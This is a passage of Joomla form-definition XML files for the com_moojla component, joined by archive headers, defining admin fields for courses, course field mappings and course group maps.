0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_COURSE_CREATED_DATE_LABEL"
description="COM_MOOJLA_COURSE_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_COURSE_CREATED_BY_LABEL"
description="COM_MOOJLA_COURSE_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_COURSE_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_COURSE_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_COURSE_MODIFIED_BY_LABEL"
description="COM_MOOJLA_COURSE_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_COURSE_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_COURSE_VERSION_LABEL"
description="COM_MOOJLA_COURSE_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Metakey Field. Type: Textarea (joomla)-->
<field name="metakey"
type="textarea"
label="JFIELD_META_KEYWORDS_LABEL"
description="JFIELD_META_KEYWORDS_DESC"
rows="3"
cols="30" />
<!-- Metadesc Field. Type: Textarea (joomla)-->
<field name="metadesc"
type="textarea"
label="JFIELD_META_DESCRIPTION_LABEL"
description="JFIELD_META_DESCRIPTION_DESC"
rows="3"
cols="30" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla course" />
<!-- Dynamic Fields.-->
<!-- Shortname Field. Type: Text. (joomla)-->
<field type="text"
name="shortname"
label="COM_MOOJLA_COURSE_SHORTNAME_LABEL"
size="10"
maxlength="50"
default=""
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_SHORTNAME_MESSAGE"
autocomplete="on" />
<!-- Fullname Field. Type: Text. (joomla)-->
<field type="text"
name="fullname"
label="COM_MOOJLA_COURSE_FULLNAME_LABEL"
size="10"
maxlength="50"
default=""
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_FULLNAME_MESSAGE"
hint="COM_MOOJLA_COURSE_FULLNAME_HINT"
autocomplete="on" />
<!-- Catid Field. Type: Category. (joomla)-->
<field type="category"
name="catid"
label="COM_MOOJLA_COURSE_CATID_LABEL"
extension="com_moojla.course"
required="false"
show_root="true"
default="0"
description="COM_MOOJLA_COURSE_CATID_DESCRIPTION"
class="inputbox" />
<!-- Addcontrols Field. Type: Radio. (joomla)-->
<field type="radio"
name="addcontrols"
label="COM_MOOJLA_COURSE_ADDCONTROLS_LABEL"
description="COM_MOOJLA_COURSE_ADDCONTROLS_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
showon="useglobalvideo:0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Showregtab Field. Type: Radio. (joomla)-->
<field type="radio"
name="showregtab"
label="COM_MOOJLA_COURSE_SHOWREGTAB_LABEL"
description="COM_MOOJLA_COURSE_SHOWREGTAB_DESCRIPTION"
class="btn-group btn-group-yesno"
default="2"
showon="popupbutton:1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
<option
value="2">COM_MOOJLA_COURSE_INHERIT</option>
</field>
<!-- Startdate Field. Type: Calendar. (joomla)-->
<field type="calendar"
name="startdate"
label="COM_MOOJLA_COURSE_STARTDATE_LABEL"
default="NOW"
format="%Y-%m-%d" />
<!-- Enterlbl Field. Type: Text. (joomla)-->
<field type="text"
name="enterlbl"
label="COM_MOOJLA_COURSE_ENTERLBL_LABEL"
size="20"
maxlength="50"
default=""
description="COM_MOOJLA_COURSE_ENTERLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_COURSE_ENTERLBL_MESSAGE"
hint="COM_MOOJLA_COURSE_ENTERLBL_HINT"
autocomplete="off" />
<!-- Cangotomoodle Field. Type: Radio. (joomla)-->
<field type="radio"
name="cangotomoodle"
label="COM_MOOJLA_COURSE_CANGOTOMOODLE_LABEL"
description="COM_MOOJLA_COURSE_CANGOTOMOODLE_DESCRIPTION"
class="btn-group btn-group-yesno"
default="2">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
<option
value="2">COM_MOOJLA_COURSE_DEFAULT</option>
</field>
<!-- Preloadaudio Field. Type: Radio. (joomla)-->
<field type="radio"
name="preloadaudio"
label="COM_MOOJLA_COURSE_PRELOADAUDIO_LABEL"
description="COM_MOOJLA_COURSE_PRELOADAUDIO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
showon="useglobalaudio:0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Loginurl Field. Type: Text. (joomla)-->
<field type="text"
name="loginurl"
label="COM_MOOJLA_COURSE_LOGINURL_LABEL"
size="256"
maxlength="256"
default=""
description="COM_MOOJLA_COURSE_LOGINURL_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_LOGINURL_MESSAGE"
hint="COM_MOOJLA_COURSE_LOGINURL_HINT"
autocomplete="on"
showon="showlogintab:1" />
<!-- In_enrol_date Field. Type: Text. (joomla)-->
<field type="text"
name="in_enrol_date"
label="COM_MOOJLA_COURSE_IN_ENROL_DATE_LABEL"
size="10"
maxlength="50"
default=""
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_IN_ENROL_DATE_MESSAGE"
autocomplete="on" />
<!-- Enddate Field. Type: Calendar. (joomla)-->
<field type="calendar"
name="enddate"
label="COM_MOOJLA_COURSE_ENDDATE_LABEL"
default="NOW"
format="%Y-%m-%d %H:%M"
filter="user_utc"
showtime="true" />
<!-- Remoteid Field. Type: Text. (joomla)-->
<field type="text"
name="remoteid"
label="COM_MOOJLA_COURSE_REMOTEID_LABEL"
size="10"
maxlength="50"
default=""
description="COM_MOOJLA_COURSE_REMOTEID_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_REMOTEID_MESSAGE"
autocomplete="on" />
<!-- Guest Field. Type: Text. (joomla)-->
<field type="text"
name="guest"
label="COM_MOOJLA_COURSE_GUEST_LABEL"
size="10"
maxlength="50"
default="0"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="INT"
message="COM_MOOJLA_COURSE_GUEST_MESSAGE"
autocomplete="on" />
<!-- Cost Field. Type: Text. (joomla)-->
<field type="text"
name="cost"
label="COM_MOOJLA_COURSE_COST_LABEL"
size="10"
maxlength="50"
default="0"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="INT"
message="COM_MOOJLA_COURSE_COST_MESSAGE"
hint="COM_MOOJLA_COURSE_COST_HINT"
autocomplete="on" />
<!-- Teachers Field. Type: Editor. (joomla)-->
<field type="editor"
name="teachers"
label="COM_MOOJLA_COURSE_TEACHERS_LABEL"
default=""
buttons="no"
editor="codemirror|none"
filter="safehtml" />
<!-- Summary_files Field. Type: Editor. (joomla)-->
<field type="editor"
name="summary_files"
label="COM_MOOJLA_COURSE_SUMMARY_FILES_LABEL"
default=""
buttons="no"
editor="codemirror|none"
filter="safehtml" />
<!-- Autoplay Field. Type: Radio. (joomla)-->
<field type="radio"
name="autoplay"
label="COM_MOOJLA_COURSE_AUTOPLAY_LABEL"
description="COM_MOOJLA_COURSE_AUTOPLAY_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
showon="useglobalvideo:0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Summary Field. Type: Editor. (joomla)-->
<field type="editor"
name="summary"
label="COM_MOOJLA_COURSE_SUMMARY_LABEL"
default=""
buttons="no"
editor="tinymce|none"
filter="safehtml" />
<!-- Useglobalaudio Field. Type: Radio. (joomla)-->
<field type="radio"
name="useglobalaudio"
label="COM_MOOJLA_COURSE_USEGLOBALAUDIO_LABEL"
description="COM_MOOJLA_COURSE_USEGLOBALAUDIO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Alias Field. Type: Text. (joomla)-->
<field type="text"
name="alias"
label="COM_MOOJLA_COURSE_ALIAS_LABEL"
description="JFIELD_ALIAS_DESC"
filter="STRING"
hint="COM_MOOJLA_COURSE_ALIAS_HINT" />
<!-- Cat_name Field. Type: Text. (joomla)-->
<field type="text"
name="cat_name"
label="COM_MOOJLA_COURSE_CAT_NAME_LABEL"
size="10"
maxlength="50"
default=""
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_CAT_NAME_MESSAGE"
hint="COM_MOOJLA_COURSE_CAT_NAME_HINT"
autocomplete="on"
showon="cat_:" />
<!-- Currency Field. Type: Text. (joomla)-->
<field type="text"
name="currency"
label="COM_MOOJLA_COURSE_CURRENCY_LABEL"
size="10"
maxlength="50"
default="IRT"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_CURRENCY_MESSAGE"
autocomplete="on" />
<!-- Alterurl Field. Type: Text. (joomla)-->
<field type="text"
name="alterurl"
label="COM_MOOJLA_COURSE_ALTERURL_LABEL"
size="256"
maxlength="256"
default=""
description="COM_MOOJLA_COURSE_ALTERURL_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_ALTERURL_MESSAGE"
hint="COM_MOOJLA_COURSE_ALTERURL_HINT"
autocomplete="on"
showon="popupbutton:0" />
<!-- Loginlbl Field. Type: Text. (joomla)-->
<field type="text"
name="loginlbl"
label="COM_MOOJLA_COURSE_LOGINLBL_LABEL"
size="20"
maxlength="50"
default=""
description="COM_MOOJLA_COURSE_LOGINLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_COURSE_LOGINLBL_MESSAGE"
hint="COM_MOOJLA_COURSE_LOGINLBL_HINT"
autocomplete="off" />
<!-- Buylbl Field. Type: Text. (joomla)-->
<field type="text"
name="buylbl"
label="COM_MOOJLA_COURSE_BUYLBL_LABEL"
size="20"
maxlength="50"
default=""
description="COM_MOOJLA_COURSE_BUYLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_COURSE_BUYLBL_MESSAGE"
hint="COM_MOOJLA_COURSE_BUYLBL_HINT"
autocomplete="off" />
<!-- Enrollbl Field. Type: Text. (joomla)-->
<field type="text"
name="enrollbl"
label="COM_MOOJLA_COURSE_ENROLLBL_LABEL"
size="20"
maxlength="50"
default=""
description="COM_MOOJLA_COURSE_ENROLLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_COURSE_ENROLLBL_MESSAGE"
hint="COM_MOOJLA_COURSE_ENROLLBL_HINT"
autocomplete="off" />
<!-- Popupbutton Field. Type: Radio. (joomla)-->
<field type="radio"
name="popupbutton"
label="COM_MOOJLA_COURSE_POPUPBUTTON_LABEL"
description="COM_MOOJLA_COURSE_POPUPBUTTON_DESCRIPTION"
class="btn-group btn-group-yesno"
default="2"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
<option
value="2">COM_MOOJLA_COURSE_DEFAULT</option>
</field>
<!-- Videotype Field. Type: Radio. (joomla)-->
<field type="radio"
name="videotype"
label="COM_MOOJLA_COURSE_VIDEOTYPE_LABEL"
description="COM_MOOJLA_COURSE_VIDEOTYPE_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
showon="useglobalvideo:0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_MODAL</option>
<option
value="2">COM_MOOJLA_COURSE_EMBED</option>
<option
value="3">COM_MOOJLA_COURSE_SCROLL_TO_TOP</option>
</field>
<!-- Registrationurl Field. Type: Text. (joomla)-->
<field type="text"
name="registrationurl"
label="COM_MOOJLA_COURSE_REGISTRATIONURL_LABEL"
size="256"
maxlength="256"
default=""
description="COM_MOOJLA_COURSE_REGISTRATIONURL_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_REGISTRATIONURL_MESSAGE"
hint="COM_MOOJLA_COURSE_REGISTRATIONURL_HINT"
autocomplete="on"
showon="showregtab:1" />
<!-- Self_enrolment Field. Type: Text. (joomla)-->
<field type="text"
name="self_enrolment"
label="COM_MOOJLA_COURSE_SELF_ENROLMENT_LABEL"
size="10"
maxlength="50"
default=""
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_COURSE_SELF_ENROLMENT_MESSAGE"
autocomplete="on" />
<!-- Freeenterlbl Field. Type: Text. (joomla)-->
<field type="text"
name="freeenterlbl"
label="COM_MOOJLA_COURSE_FREEENTERLBL_LABEL"
size="20"
maxlength="50"
default=""
description="COM_MOOJLA_COURSE_FREEENTERLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_COURSE_FREEENTERLBL_MESSAGE"
hint="COM_MOOJLA_COURSE_FREEENTERLBL_HINT"
autocomplete="off" />
<!-- Permanent_fields Field. Type: Sql. (joomla)-->
<field type="sql"
name="permanent_fields"
label="COM_MOOJLA_COURSE_PERMANENT_FIELDS_LABEL"
query="DESC `#__moojla_course`"
default=""
description="COM_MOOJLA_COURSE_PERMANENT_FIELDS_DESCRIPTION"
key_field="Field"
value_field="Field"
multiple="true" />
<!-- Useglobalvideo Field. Type: Radio. (joomla)-->
<field type="radio"
name="useglobalvideo"
label="COM_MOOJLA_COURSE_USEGLOBALVIDEO_LABEL"
description="COM_MOOJLA_COURSE_USEGLOBALVIDEO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Course_templatestyle_forcourseconfig Field. Type:
Customtemplatestyle. (custom)-->
<field type="customtemplatestyle"
name="course_templatestyle_forcourseconfig"
label="COM_MOOJLA_COURSE_COURSE_TEMPLATESTYLE_FORCOURSECONFIG_LABEL"
description="COM_MOOJLA_COURSE_COURSE_TEMPLATESTYLE_FORCOURSECONFIG_DESCRIPTION"
message="COM_MOOJLA_COURSE_COURSE_TEMPLATESTYLE_FORCOURSECONFIG_MESSAGE"
class="list_class"
multiple="false"
default="0"
button="false" />
<!-- Preventdownload Field. Type: Radio. (joomla)-->
<field type="radio"
name="preventdownload"
label="COM_MOOJLA_COURSE_PREVENTDOWNLOAD_LABEL"
description="COM_MOOJLA_COURSE_PREVENTDOWNLOAD_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
showon="useglobalvideo:0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Course_detail_layout Field. Type: Filelist.
(joomla)-->
<field type="filelist"
name="course_detail_layout"
label="COM_MOOJLA_COURSE_COURSE_DETAIL_LAYOUT_LABEL"
directory="components/com_moojla/views/coursedetail/tmpl/"
default=""
description="COM_MOOJLA_COURSE_COURSE_DETAIL_LAYOUT_DESCRIPTION"
filter="^[^_]*\.php$"
hide_none="ture"
hide_default="true" />
<!-- Preloadvideo Field. Type: Radio. (joomla)-->
<field type="radio"
name="preloadvideo"
label="COM_MOOJLA_COURSE_PRELOADVIDEO_LABEL"
description="COM_MOOJLA_COURSE_PRELOADVIDEO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
showon="useglobalvideo:0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Availabilityinfolink Field. Type: Radio.
(joomla)-->
<field type="radio"
name="availabilityinfolink"
label="COM_MOOJLA_COURSE_AVAILABILITYINFOLINK_LABEL"
description="COM_MOOJLA_COURSE_AVAILABILITYINFOLINK_DESCRIPTION"
class="btn-group btn-group-yesno"
default="2"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_ENABLE</option>
<option
value="0">COM_MOOJLA_COURSE_DISABLE</option>
<option
value="2">COM_MOOJLA_COURSE_DEFAULT</option>
</field>
<!-- Muted Field. Type: Radio. (joomla)-->
<field type="radio"
name="muted"
label="COM_MOOJLA_COURSE_MUTED_LABEL"
description="COM_MOOJLA_COURSE_MUTED_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
showon="useglobalvideo:0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Redirect_after_enrol Field. Type: Radio.
(joomla)-->
<field type="radio"
name="redirect_after_enrol"
label="COM_MOOJLA_COURSE_REDIRECT_AFTER_ENROL_LABEL"
description="COM_MOOJLA_COURSE_REDIRECT_AFTER_ENROL_DESCRIPTION"
class="btn-group btn-group-yesno"
default="2">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
<option
value="2">COM_MOOJLA_COURSE_DEFAULT</option>
</field>
<!-- Preventdownloadaudio Field. Type: Radio.
(joomla)-->
<field type="radio"
name="preventdownloadaudio"
label="COM_MOOJLA_COURSE_PREVENTDOWNLOADAUDIO_LABEL"
description="COM_MOOJLA_COURSE_PREVENTDOWNLOADAUDIO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
showon="useglobalaudio:0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Showlogintab Field. Type: Radio. (joomla)-->
<field type="radio"
name="showlogintab"
label="COM_MOOJLA_COURSE_SHOWLOGINTAB_LABEL"
description="COM_MOOJLA_COURSE_SHOWLOGINTAB_DESCRIPTION"
class="btn-group btn-group-yesno"
default="2"
showon="popupbutton:1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
<option
value="2">COM_MOOJLA_COURSE_INHERIT</option>
</field>
<!-- Autoplayaudio Field. Type: Radio. (joomla)-->
<field type="radio"
name="autoplayaudio"
label="COM_MOOJLA_COURSE_AUTOPLAYAUDIO_LABEL"
description="COM_MOOJLA_COURSE_AUTOPLAYAUDIO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
showon="useglobalaudio:0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_COURSE_YES</option>
<option
value="0">COM_MOOJLA_COURSE_NO</option>
</field>
<!-- Cat_id Field. Type: Text. (joomla)-->
<field type="text"
name="cat_id"
label="COM_MOOJLA_COURSE_CAT_ID_LABEL"
size="10"
maxlength="50"
default=""
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="INT"
message="COM_MOOJLA_COURSE_CAT_ID_MESSAGE"
autocomplete="on"
showon="cat_:" />
<!-- Metadata Fields-->
<fields name="metadata"
label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
<fieldset name="vdmmetadata"
label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
<!-- Robots Field. Type: List
(joomla)-->
<field name="robots"
type="list"
label="JFIELD_METADATA_ROBOTS_LABEL"
description="JFIELD_METADATA_ROBOTS_DESC">
<option
value="">JGLOBAL_USE_GLOBAL</option>
<option value="index,
follow">JGLOBAL_INDEX_FOLLOW</option>
<option value="noindex,
follow">JGLOBAL_NOINDEX_FOLLOW</option>
<option value="index,
nofollow">JGLOBAL_INDEX_NOFOLLOW</option>
<option value="noindex,
nofollow">JGLOBAL_NOINDEX_NOFOLLOW</option>
</field>
<!-- Author Field. Type: Text
(joomla)-->
<field name="author"
type="text"
label="JAUTHOR"
description="JFIELD_METADATA_AUTHOR_DESC"
size="20" />
<!-- Rights Field. Type: Textarea
(joomla)-->
<field name="rights"
type="textarea"
label="JFIELD_META_RIGHTS_LABEL"
description="JFIELD_META_RIGHTS_DESC"
required="false"
filter="string"
cols="30"
rows="2" />
</fieldset>
</fields>
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this course"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="course"
/>
</fieldset>
</form>models/forms/course_field_mapper.xml000064400000014347151165724400013724
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_COURSE_FIELD_MAPPER_CREATED_DATE_LABEL"
description="COM_MOOJLA_COURSE_FIELD_MAPPER_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_COURSE_FIELD_MAPPER_CREATED_BY_LABEL"
description="COM_MOOJLA_COURSE_FIELD_MAPPER_CREATED_BY_DESC"
/>
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_COURSE_FIELD_MAPPER_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_COURSE_FIELD_MAPPER_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_COURSE_FIELD_MAPPER_MODIFIED_BY_LABEL"
description="COM_MOOJLA_COURSE_FIELD_MAPPER_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Access Field. Type: Accesslevel (joomla)-->
<field name="access"
type="accesslevel"
label="JFIELD_ACCESS_LABEL"
description="JFIELD_ACCESS_DESC"
default="1"
required="false" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_COURSE_FIELD_MAPPER_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_COURSE_FIELD_MAPPER_VERSION_LABEL"
description="COM_MOOJLA_COURSE_FIELD_MAPPER_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla course_field_mapper" />
<!-- Dynamic Fields.-->
<!-- Coursefield Field. Type: Moojlacoursefield.
(custom)-->
<field type="moojlacoursefield"
name="coursefield"
label="COM_MOOJLA_COURSE_FIELD_MAPPER_COURSEFIELD_LABEL"
description="COM_MOOJLA_COURSE_FIELD_MAPPER_COURSEFIELD_DESCRIPTION"
class="list_class"
multiple="false"
default=""
required="true"
button="false" />
<!-- Mcoursefields Field. Type: Mcoursefields.
(custom)-->
<field type="mcoursefields"
name="mcoursefields"
label="COM_MOOJLA_COURSE_FIELD_MAPPER_MCOURSEFIELDS_LABEL"
description="COM_MOOJLA_COURSE_FIELD_MAPPER_MCOURSEFIELDS_DESCRIPTION"
class="list_class"
multiple="false"
default=""
required="true"
button="false" />
<!-- Field_icon Field. Type: Media. (joomla)-->
<field type="media"
name="field_icon"
label="COM_MOOJLA_COURSE_FIELD_MAPPER_FIELD_ICON_LABEL"
description="COM_MOOJLA_COURSE_FIELD_MAPPER_FIELD_ICON_DESCRIPTION"
directory=""
preview="ture" />
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this course_field_mapper"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="course_field_mapper"
/>
</fieldset>
</form>models/forms/course_group_map.xml000064400000014307151165724400013262
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_COURSE_GROUP_MAP_CREATED_DATE_LABEL"
description="COM_MOOJLA_COURSE_GROUP_MAP_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_COURSE_GROUP_MAP_CREATED_BY_LABEL"
description="COM_MOOJLA_COURSE_GROUP_MAP_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_COURSE_GROUP_MAP_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_COURSE_GROUP_MAP_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_COURSE_GROUP_MAP_MODIFIED_BY_LABEL"
description="COM_MOOJLA_COURSE_GROUP_MAP_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_COURSE_GROUP_MAP_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_COURSE_GROUP_MAP_VERSION_LABEL"
description="COM_MOOJLA_COURSE_GROUP_MAP_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla course_group_map" />
<!-- Dynamic Fields.-->
<!-- Moojlacourse Field. Type: Moojlacourse.
(custom)-->
<field type="moojlacourse"
name="moojlacourse"
label="COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_LABEL"
description="COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_DESCRIPTION"
message="COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_MESSAGE"
class="list_class"
multiple="false"
default=""
button="false" />
<!-- Course_group Field. Type: Customusergroup.
(custom)-->
<field type="customusergroup"
